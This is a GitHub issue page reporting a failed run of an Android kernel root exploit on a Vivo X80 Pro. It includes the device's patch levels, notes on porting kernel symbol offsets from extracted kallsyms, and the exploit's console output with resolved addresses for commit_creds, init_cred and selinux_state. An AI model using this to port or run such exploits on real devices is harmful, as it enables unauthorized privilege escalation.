Skip to content

FIONREAD pipe 1 is 1 #1

@Ko-Hi-Dev

Description

@Ko-Hi-Dev

Device: Vivo
Model: X80 Pro
Security Patch:
[ro.build.version.security_patch]: [2022-08-01]
[ro.vendor.build.security_patch]: [2021-12-05]
Kernel Matches: Yes

Error Message:

whats been modified:

init_task
init_cred
_buf_ops

to vivo values
extracted kallsyms from vivo device

PD2186:/data/local/tmp $ rm -rf vivo_shrinker
PD2186:/data/local/tmp $ ./exp vivo.kallsyms
got 0xffffffc0101b219c for commit_creds
got 0xffffffc012400068 for anon_pipe_buf_ops
got 0xffffffc012aebfc0 for init_task
got 0xffffffc012b00780 for init_cred
got 0xffffffc012ebcbf0 for selinux_state
global data at 0x777e4cb000, buffer at 0x777d202000
preparing...
[] STAGE 1: defragmentation
[
] STAGE 2: trigger the bug
[] STAGE 3: free the cache
[
] STAGE 4: reclaim the page
FIONREAD pipe 1 is 1
failed, please retry

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions